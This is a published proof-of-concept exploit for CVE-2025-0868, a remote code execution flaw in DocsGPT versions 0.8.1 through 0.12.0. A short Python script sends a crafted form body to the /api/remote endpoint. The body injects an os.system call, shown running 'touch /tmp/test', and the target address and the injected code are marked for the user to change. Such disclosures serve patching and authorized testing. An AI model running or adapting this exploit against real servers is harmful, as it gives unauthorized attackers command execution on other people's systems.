📄 DocsGPT 0.12.0 Remote Code Execution

# Exploit Title: DocsGPT 0.12.0 - Remote Code Execution
    # Date: 09/04/2025
    # Exploit Author: Shreyas Malhotra (OSMSEC)
    # Vendor Homepage: https://github.com/arc53/docsgpt
    # Software Link: https://github.com/arc53/DocsGPT/archive/refs/tags/0.12.0.zip
    # Version: 0.8.1 through 0.12.0
    # Tested on: Debian Linux/Ubuntu Linux/Kali Linux
    # CVE: CVE-2025-0868
    
    import requests
     
    # TARGET CONFIG
    TARGET = "http://10.0.2.15:7091"  # Change this
     
    # Malicious payload string - carefully escaped - modify the python code if necessary
    malicious_data = (
        'user=1&source=reddit&name=other&data={"source":"reddit",'
        '"client_id":"1111","client_secret":1111,"user_agent":"111",'
        '"search_queries":[""],"number_posts":10,'
        '"rce\\\\":__import__(\'os\').system(\'touch /tmp/test\')}#":11}'
    )
     
    headers = {
        "Content-Type": "application/x-www-form-urlencoded"
    }
     
    try:
        response = requests.post(f"{TARGET}/api/remote", headers=headers, data=malicious_data)
        print(f"[+] Status Code: {response.status_code}")
        print("[+] Response Body:")
        print(response.text)
    except Exception as e:
        print(f"[-] Error sending request: {e}")